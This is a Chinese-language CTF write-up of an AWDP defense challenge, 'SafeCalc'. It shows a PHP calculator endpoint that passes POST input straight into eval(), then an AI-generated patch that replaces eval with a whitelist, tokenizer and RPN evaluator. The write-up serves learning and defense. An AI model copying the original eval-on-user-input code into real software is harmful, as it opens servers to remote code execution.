https://566f348e-d5f6-4f91-b986-2992c57abbcc.challenge.ctf.show/api/v1/artifacts?path=/app&filename=app.py

alt text

SafeCar

分类:AWDP攻击题目 | 分值:300

题目描述
追踪JCenter,送他回老家。

alt text
alt text

  • 没做出来

AWDP防御题目

  • AWDP防御题目代码实力不够比赛全ai的就只看看思路了(好歹会给ai多点提示词bushi
  • 我勒个就一个看得懂,后面基础上来了再学吧呜呜呜

SafeCalc

  • 代码审计
<?php

header('Content-Type: application/json; charset=utf-8');
# HTTP响应头,明确数据格式application/json,UTF-8编码

$expr = $_POST['expr'] ?? '';
# 默认将其值设置为空字符串''
if (!is_string($expr)) fail('bad request');
# 检查 $expr 是否是一个字符串,否,fail()返回错误信息 'bad request'
$expr = trim($expr);
# 去除$expr两端空白字符
if ($expr === '') fail('empty');

if (strlen($expr) > 100) fail('too long');

$out="";
eval("\$out=($expr);");
echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE);

function fail(string $msg, int $code = 400): void {
http_response_code($code);
# 设置 HTTP 响应码
echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);
exit;
}

关键改动点:

  • eval("\$out=($expr);");safe_calc($expr)
  • safe_calc():字符白名单过滤 + 词法分析 + RPN 求值
  • 错误统一走 fail() 输出 JSON,保证前端交互不崩
  • ai解法分析:
<?php
declare(strict_types=1);

header('Content-Type: application/json; charset=utf-8');

/**
* SafeCalc Patch
* - Removes eval() RCE
* - Implements a tiny arithmetic expression parser:
* numbers (int/float), parentheses, + - * / %
* supports unary +/-
*/

function fail(string $msg, int $code = 400): void {
http_response_code($code);
echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);
exit;
}

$expr = $_POST['expr'] ?? '';
if (!is_string($expr)) fail('bad request');

$expr = trim($expr);
if ($expr === '') fail('empty');
if (strlen($expr) > 100) fail('too long');

/** Allow only calculator characters (server-side). */
if (!preg_match('/^[0-9+\-*/%().\s]+$/', $expr)) {
fail('invalid characters');
}
# 正则表达式检查表达式
try {
$tokens = tokenize($expr);# 将输入的表达式分解成一个个“token”
$rpn = to_rpn($tokens);# 将 token 转换成逆波兰表示法(RPN)
$value = eval_rpn($rpn);# 计算 RPN 表达式的值

// Normalize output a bit (avoid "-0")
if (is_float($value) && abs($value) < 1e-12) $value = 0.0;
# 如果结果是浮点数且接近零,设置为 0.0
echo json_encode(['ok' => true, 'result' => $value], JSON_UNESCAPED_UNICODE);
} catch (Throwable $e) {
// Do not leak stack traces
fail($e->getMessage(), 400);# 返回计算结果,如果过程中发生任何异常,捕获异常并返回错误消息
}

/**
* Tokenize expression into numbers and operators.
* Returns array of tokens: float numbers, or strings: '+','-','*','/','%','(',')','u-','u+'
*/
function tokenize(string $s): array {
$len = strlen($s);
$i = 0;
$tokens = [];
$prevType = 'start'; // start | num | op | lparen | rparen

while ($i < $len) {
$ch = $s[$i];

if (ctype_space($ch)) {
$i++;
continue;
}

// Number: digits and at most one dot
if (ctype_digit($ch) || $ch === '.') {
$start = $i;
$dot = 0;
while ($i < $len) {
$c = $s[$i];
if (ctype_digit($c)) {
$i++;
continue;
}
if ($c === '.') {
$dot++;
if ($dot > 1) {
throw new Exception('bad number');
}
$i++;
continue;
}
break;
}
$numStr = substr($s, $start, $i - $start);
if ($numStr === '.' || $numStr === '+.' || $numStr === '-.') {
throw new Exception('bad number');
}
$num = (float)$numStr;
$tokens[] = $num;
$prevType = 'num';
continue;
}

// Operators / parentheses
if (str_contains('+-*/%()', $ch)) {
if ($ch === '+' || $ch === '-') {
// Unary if at start or after operator or after '('
if ($prevType === 'start' || $prevType === 'op' || $prevType === 'lparen') {
$tokens[] = ($ch === '+') ? 'u+' : 'u-';
$prevType = 'op';
$i++;
continue;
}
}

$tokens[] = $ch;
if ($ch === '(') $prevType = 'lparen';
elseif ($ch === ')') $prevType = 'rparen';
else $prevType = 'op';
$i++;
continue;
}

throw new Exception('invalid token');
}

// Basic sanity: expression shouldn't end with a binary operator
if ($prevType === 'op') {
// allow ending with unary? (shouldn't happen)
throw new Exception('incomplete expression');
}

// Token limit (DoS guard)
if (count($tokens) > 200) throw new Exception('too complex');

return $tokens;
}

/** Convert tokens to Reverse Polish Notation (Shunting-yard). */
function to_rpn(array $tokens): array {
$out = [];
$ops = [];

$prec = [
'u+' => 3, 'u-' => 3,
'*' => 2, '/' => 2, '%' => 2,
'+' => 1, '-' => 1,
];
$rightAssoc = ['u+' => true, 'u-' => true];

foreach ($tokens as $t) {
if (is_float($t) || is_int($t)) {
$out[] = (float)$t;
continue;
}

if ($t === '(') {
$ops[] = $t;
continue;
}

if ($t === ')') {
while (!empty($ops) && end($ops) !== '(') {
$out[] = array_pop($ops);
}
if (empty($ops)) throw new Exception('mismatched parentheses');
array_pop($ops); // pop '('
continue;
}

// operator
if (!isset($prec[$t])) throw new Exception('unknown operator');

while (!empty($ops)) {
$top = end($ops);
if ($top === '(') break;
if (!isset($prec[$top])) break;

$p1 = $prec[$t];
$p2 = $prec[$top];
$isRight = isset($rightAssoc[$t]);

if ((!$isRight && $p1 <= $p2) || ($isRight && $p1 < $p2)) {
$out[] = array_pop($ops);
continue;
}
break;
}

$ops[] = $t;
}

while (!empty($ops)) {
$op = array_pop($ops);
if ($op === '(' || $op === ')') throw new Exception('mismatched parentheses');
$out[] = $op;
}

return $out;
}

/** Evaluate RPN stack safely. */
function eval_rpn(array $rpn): float {
$st = [];

foreach ($rpn as $t) {
if (is_float($t) || is_int($t)) {
$st[] = (float)$t;
continue;
}

if ($t === 'u+' || $t === 'u-') {
if (count($st) < 1) throw new Exception('bad expression');
$a = array_pop($st);
$st[] = ($t === 'u-') ? -$a : $a;
continue;
}

if (count($st) < 2) throw new Exception('bad expression');
$b = array_pop($st);
$a = array_pop($st);

switch ($t) {
case '+': $v = $a + $b; break;
case '-': $v = $a - $b; break;
case '*': $v = $a * $b; break;
case '/':
if (abs($b) < 1e-15) throw new Exception('division by zero');
$v = $a / $b;
break;
case '%':
if (abs($b) < 1e-15) throw new Exception('division by zero');
$v = fmod($a, $b);
break;
default:
throw new Exception('unknown operator');
}

if (!is_finite($v)) throw new Exception('overflow');
$st[] = $v;
}

if (count($st) !== 1) throw new Exception('bad expression');
return (float)$st[0];
}
  • 话说这种其实可以存脚本【取代eval函数接受post参数】